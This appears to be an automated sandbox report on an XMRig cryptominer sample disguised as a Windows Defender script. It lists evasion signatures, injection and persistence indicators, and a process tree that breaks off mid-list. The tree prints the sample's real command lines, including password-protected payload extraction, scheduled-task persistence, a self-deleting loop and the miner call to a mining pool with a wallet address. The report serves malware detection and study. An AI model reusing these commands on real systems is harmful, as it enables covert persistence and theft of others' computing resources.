xmrig | 4e0ddcd303f27c01dcc8a35a9bd821c53fb7dcca474ac7f0c84d3c6451e9f778

Analysis

max time kernel
1798s
max time network
1796s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
09/04/2024, 13:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MsMpEng.js
Size 24.2MB
Sample240409-qvlrtabe9s
SHA256 b27dd5407a22c8df93090fbc1a3eb93c6461f4a279cfabd87b4b21e246bda458
MD5 690d57b0d8670391bad0876cae078bab
SHA1 32bea01d606128c606b71e19920099c6cb15030f
SHA512 dd113765cd5cfeb99a98775c3c8e265463fca7863ffa519dcb7175312bbbeb4ea24ca45b4cef0320b430d413c020970346f4db671e0730e9e044cd2585f71fd4
SSDEEP 49152:34aSO/UYGzBMZ09d1X5EdS76+B0RX8DQQs8ReDlpgU3HApVeOGMmb5cUNWcGTRPk:H
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig evasion miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	x.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral17/memory/1768-3421-0x00000000001B0000-0x0000000000CC1000-memory.dmp	xmrig
behavioral17/memory/1768-3435-0x00000000001B0000-0x0000000000CC1000-memory.dmp	xmrig

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	x.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	x.exe

Executes dropped EXE 64 IoCs

pid	Process
2120	x.exe
2732	CL_Debug_Log.txt
2656	Helper.exe
2664	Helper.exe
2332	Helper.exe
1816	Helper.exe
1804	Helper.exe
2920	tor.exe
2040	Helper.exe
1908	Helper.exe
2124	Helper.exe
2956	Helper.exe
2572	Helper.exe
2568	Helper.exe
1964	Helper.exe
2456	Helper.exe
1844	Helper.exe
272	Helper.exe
2808	Helper.exe
932	Helper.exe
1728	Helper.exe
2632	Helper.exe
1936	Helper.exe
1652	Helper.exe
1568	Helper.exe
2744	Helper.exe
2516	Helper.exe
2260	Helper.exe
2180	Helper.exe
2140	Helper.exe
836	Helper.exe
2000	Helper.exe
1292	Helper.exe
2008	Helper.exe
2156	Helper.exe
2468	Helper.exe
2452	Helper.exe
2036	Helper.exe
308	Helper.exe
1004	Helper.exe
1300	Helper.exe
1672	Helper.exe
808	Helper.exe
1096	Helper.exe
2116	Helper.exe
2596	Helper.exe
684	Helper.exe
2724	Helper.exe
1756	Helper.exe
1304	Helper.exe
2768	Helper.exe
2936	Helper.exe
1640	Helper.exe
2492	Helper.exe
3056	Helper.exe
2200	Helper.exe
2508	Helper.exe
2528	Helper.exe
1604	Helper.exe
2776	Helper.exe
1324	Helper.exe
2912	Helper.exe
1540	Helper.exe
1264	Helper.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Wine	x.exe

Loads dropped DLL 13 IoCs

pid	Process
2120	x.exe
1420	taskeng.exe
1420	taskeng.exe
1672	Process not Found
2332	Helper.exe
2332	Helper.exe
2920	tor.exe
2920	tor.exe
2920	tor.exe
2920	tor.exe
2920	tor.exe
2920	tor.exe
1264	Process not Found

AutoIT Executable 4 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral17/memory/2120-7-0x0000000000DC0000-0x0000000001FE6000-memory.dmp	autoit_exe
behavioral17/files/0x0006000000016d20-31.dat	autoit_exe
behavioral17/files/0x0007000000016d07-37.dat	autoit_exe
behavioral17/memory/2120-40-0x0000000000DC0000-0x0000000001FE6000-memory.dmp	autoit_exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2332 set thread context of 1804	2332	Helper.exe	43
PID 2332 set thread context of 1844	2332	Helper.exe	57
PID 2332 set thread context of 1768	2332	Helper.exe	60

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2440	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2112	timeout.exe
2944	timeout.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winmgmts:\QGTQZTRE\root\CIMV2	Helper.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2332	Helper.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeRestorePrivilege	2732	CL_Debug_Log.txt
Token: 35	2732	CL_Debug_Log.txt
Token: SeSecurityPrivilege	2732	CL_Debug_Log.txt
Token: SeSecurityPrivilege	2732	CL_Debug_Log.txt
Token: SeRestorePrivilege	1804	Helper.exe
Token: 35	1804	Helper.exe
Token: SeSecurityPrivilege	1804	Helper.exe
Token: SeSecurityPrivilege	1804	Helper.exe
Token: SeRestorePrivilege	1844	Helper.exe
Token: 35	1844	Helper.exe
Token: SeSecurityPrivilege	1844	Helper.exe
Token: SeSecurityPrivilege	1844	Helper.exe
Token: SeLockMemoryPrivilege	1768	attrib.exe
Token: SeLockMemoryPrivilege	1768	attrib.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2120	x.exe
2120	x.exe
2120	x.exe
2656	Helper.exe
2656	Helper.exe
2656	Helper.exe
2664	Helper.exe
2664	Helper.exe
2664	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
1816	Helper.exe
1816	Helper.exe
1816	Helper.exe
1908	Helper.exe
1908	Helper.exe
1908	Helper.exe
2124	Helper.exe
2124	Helper.exe
2124	Helper.exe
2956	Helper.exe
2956	Helper.exe
2956	Helper.exe
2572	Helper.exe
2572	Helper.exe
2572	Helper.exe
2568	Helper.exe
2568	Helper.exe
2568	Helper.exe
1964	Helper.exe
1964	Helper.exe
1964	Helper.exe
2456	Helper.exe
2456	Helper.exe
2456	Helper.exe
1768	attrib.exe
272	Helper.exe
272	Helper.exe
272	Helper.exe
2808	Helper.exe
2808	Helper.exe
2808	Helper.exe
2808	Helper.exe
1728	Helper.exe
932	Helper.exe
932	Helper.exe
932	Helper.exe
2632	Helper.exe
2632	Helper.exe
2632	Helper.exe
1728	Helper.exe
1728	Helper.exe
1728	Helper.exe
1568	Helper.exe
1936	Helper.exe
1936	Helper.exe
1568	Helper.exe
1652	Helper.exe
1652	Helper.exe
1652	Helper.exe
1936	Helper.exe
1568	Helper.exe
1568	Helper.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2120	x.exe
2120	x.exe
2120	x.exe
2656	Helper.exe
2656	Helper.exe
2656	Helper.exe
2664	Helper.exe
2664	Helper.exe
2664	Helper.exe
2332	Helper.exe
2332	Helper.exe
2332	Helper.exe
1816	Helper.exe
1816	Helper.exe
1816	Helper.exe
1908	Helper.exe
1908	Helper.exe
1908	Helper.exe
2124	Helper.exe
2124	Helper.exe
2124	Helper.exe
2956	Helper.exe
2956	Helper.exe
2956	Helper.exe
2572	Helper.exe
2572	Helper.exe
2572	Helper.exe
2568	Helper.exe
2568	Helper.exe
2568	Helper.exe
1964	Helper.exe
1964	Helper.exe
1964	Helper.exe
2456	Helper.exe
2456	Helper.exe
2456	Helper.exe
272	Helper.exe
272	Helper.exe
272	Helper.exe
2808	Helper.exe
2808	Helper.exe
2808	Helper.exe
2808	Helper.exe
1728	Helper.exe
932	Helper.exe
932	Helper.exe
932	Helper.exe
2632	Helper.exe
2632	Helper.exe
2632	Helper.exe
1728	Helper.exe
1728	Helper.exe
1728	Helper.exe
1568	Helper.exe
1936	Helper.exe
1936	Helper.exe
1568	Helper.exe
1652	Helper.exe
1652	Helper.exe
1652	Helper.exe
1936	Helper.exe
1568	Helper.exe
1568	Helper.exe
2744	Helper.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2956 wrote to memory of 2120	2956	wscript.exe	28
PID 2956 wrote to memory of 2120	2956	wscript.exe	28
PID 2956 wrote to memory of 2120	2956	wscript.exe	28
PID 2956 wrote to memory of 2120	2956	wscript.exe	28
PID 2120 wrote to memory of 2732	2120	x.exe	29
PID 2120 wrote to memory of 2732	2120	x.exe	29
PID 2120 wrote to memory of 2732	2120	x.exe	29
PID 2120 wrote to memory of 2732	2120	x.exe	29
PID 2120 wrote to memory of 2532	2120	x.exe	31
PID 2120 wrote to memory of 2532	2120	x.exe	31
PID 2120 wrote to memory of 2532	2120	x.exe	31
PID 2120 wrote to memory of 2532	2120	x.exe	31
PID 2532 wrote to memory of 2440	2532	cmd.exe	33
PID 2532 wrote to memory of 2440	2532	cmd.exe	33
PID 2532 wrote to memory of 2440	2532	cmd.exe	33
PID 2532 wrote to memory of 2440	2532	cmd.exe	33
PID 2120 wrote to memory of 2976	2120	x.exe	34
PID 2120 wrote to memory of 2976	2120	x.exe	34
PID 2120 wrote to memory of 2976	2120	x.exe	34
PID 2120 wrote to memory of 2976	2120	x.exe	34
PID 2976 wrote to memory of 2112	2976	cmd.exe	36
PID 2976 wrote to memory of 2112	2976	cmd.exe	36
PID 2976 wrote to memory of 2112	2976	cmd.exe	36
PID 2976 wrote to memory of 2112	2976	cmd.exe	36
PID 2976 wrote to memory of 2944	2976	cmd.exe	37
PID 2976 wrote to memory of 2944	2976	cmd.exe	37
PID 2976 wrote to memory of 2944	2976	cmd.exe	37
PID 2976 wrote to memory of 2944	2976	cmd.exe	37
PID 1420 wrote to memory of 2664	1420	taskeng.exe	39
PID 1420 wrote to memory of 2664	1420	taskeng.exe	39
PID 1420 wrote to memory of 2664	1420	taskeng.exe	39
PID 1420 wrote to memory of 2656	1420	taskeng.exe	40
PID 1420 wrote to memory of 2656	1420	taskeng.exe	40
PID 1420 wrote to memory of 2656	1420	taskeng.exe	40
PID 2656 wrote to memory of 2332	2656	Helper.exe	41
PID 2656 wrote to memory of 2332	2656	Helper.exe	41
PID 2656 wrote to memory of 2332	2656	Helper.exe	41
PID 2664 wrote to memory of 1816	2664	Helper.exe	42
PID 2664 wrote to memory of 1816	2664	Helper.exe	42
PID 2664 wrote to memory of 1816	2664	Helper.exe	42
PID 2332 wrote to memory of 1804	2332	Helper.exe	43
PID 2332 wrote to memory of 1804	2332	Helper.exe	43
PID 2332 wrote to memory of 1804	2332	Helper.exe	43
PID 2332 wrote to memory of 1804	2332	Helper.exe	43
PID 2332 wrote to memory of 1804	2332	Helper.exe	43
PID 2332 wrote to memory of 2920	2332	Helper.exe	45
PID 2332 wrote to memory of 2920	2332	Helper.exe	45
PID 2332 wrote to memory of 2920	2332	Helper.exe	45
PID 1420 wrote to memory of 2040	1420	taskeng.exe	49
PID 1420 wrote to memory of 2040	1420	taskeng.exe	49
PID 1420 wrote to memory of 2040	1420	taskeng.exe	49
PID 1420 wrote to memory of 1908	1420	taskeng.exe	50
PID 1420 wrote to memory of 1908	1420	taskeng.exe	50
PID 1420 wrote to memory of 1908	1420	taskeng.exe	50
PID 1908 wrote to memory of 2956	1908	Helper.exe	52
PID 1908 wrote to memory of 2956	1908	Helper.exe	52
PID 1908 wrote to memory of 2956	1908	Helper.exe	52
PID 1420 wrote to memory of 2572	1420	taskeng.exe	53
PID 1420 wrote to memory of 2572	1420	taskeng.exe	53
PID 1420 wrote to memory of 2572	1420	taskeng.exe	53
PID 1420 wrote to memory of 2568	1420	taskeng.exe	54
PID 1420 wrote to memory of 2568	1420	taskeng.exe	54
PID 1420 wrote to memory of 2568	1420	taskeng.exe	54
PID 2572 wrote to memory of 1964	2572	Helper.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1768	attrib.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\MsMpEng.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Users\Admin\AppData\Local\Temp\x.exe
  "C:\Users\Admin\AppData\Local\Temp\x.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt
    C:\Users\Admin\AppData\Local\Temp\CL_Debug_Log.txt e -p"JDQJndnqwdnqw2139dn21n3b312idDQDB" "C:\Users\Admin\AppData\Local\Temp\CR_Debug_Log.txt" -o"C:\Users\Admin\AppData\Local\Temp\"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Create /XML "C:\Users\Admin\AppData\Local\Temp\SystemCheck.xml" /TN "System\SystemCheck"
      4⤵
      Creates scheduled task(s)
      PID:2440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c For /L %i In (0,0,0) Do (del "C:\Users\Admin\AppData\Local\Temp\x.exe"&&timeout /t 0&&if not exist "C:\Users\Admin\AppData\Local\Temp\x.exe" exit)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2976
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 0
      4⤵
      Delays execution with timeout.exe
      PID:2112
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 0
      4⤵
      Delays execution with timeout.exe
      PID:2944

C:\Windows\system32\taskeng.exe
taskeng.exe {2761A1ED-5BBE-4EA8-8549-5B70A6EDB7A9} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1816
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - NTFS ADS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1804
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor\tor.exe" -f TorConfig
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2920
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
      7z e -p"DxSqsNKKOxqPrM4Y3xeK" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SysBackup.tmp" -o"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1844
  - - C:\Windows\System32\attrib.exe
      -a RandomX -o stratum+tcp://xmr.2miners.com:2222 -u 8BayjhYeujm9whuyNMsrd46tWdEd4JfAPfq6nXn1S4zrLzB9dduLbPuFPb3M2ZRFtfa6Zugfv5643AuBbmP8PDHaS3hQDdi.fhaw -p x -t 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Views/modifies file attributes
      PID:1768
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2040
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2124
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2956
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1964
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2568
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2456
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:272
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:932
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2808
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1728
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2632
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:1936
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1652
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2260
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1568
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  - Suspicious use of SendNotifyMessage
  PID:2744
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:836
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2140
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2008
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2000
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2452
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2468
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2036
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:308
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1004
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:808
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1300
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:684
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1672
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1096
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2116
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:2724
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:1756
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe" -SystemCheck28314
    3⤵
    - Executes dropped EXE
    PID:1640
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2768
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe -SystemCheck
  2⤵
  - Executes dropped EXE
  PID:2936
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Helper.exe
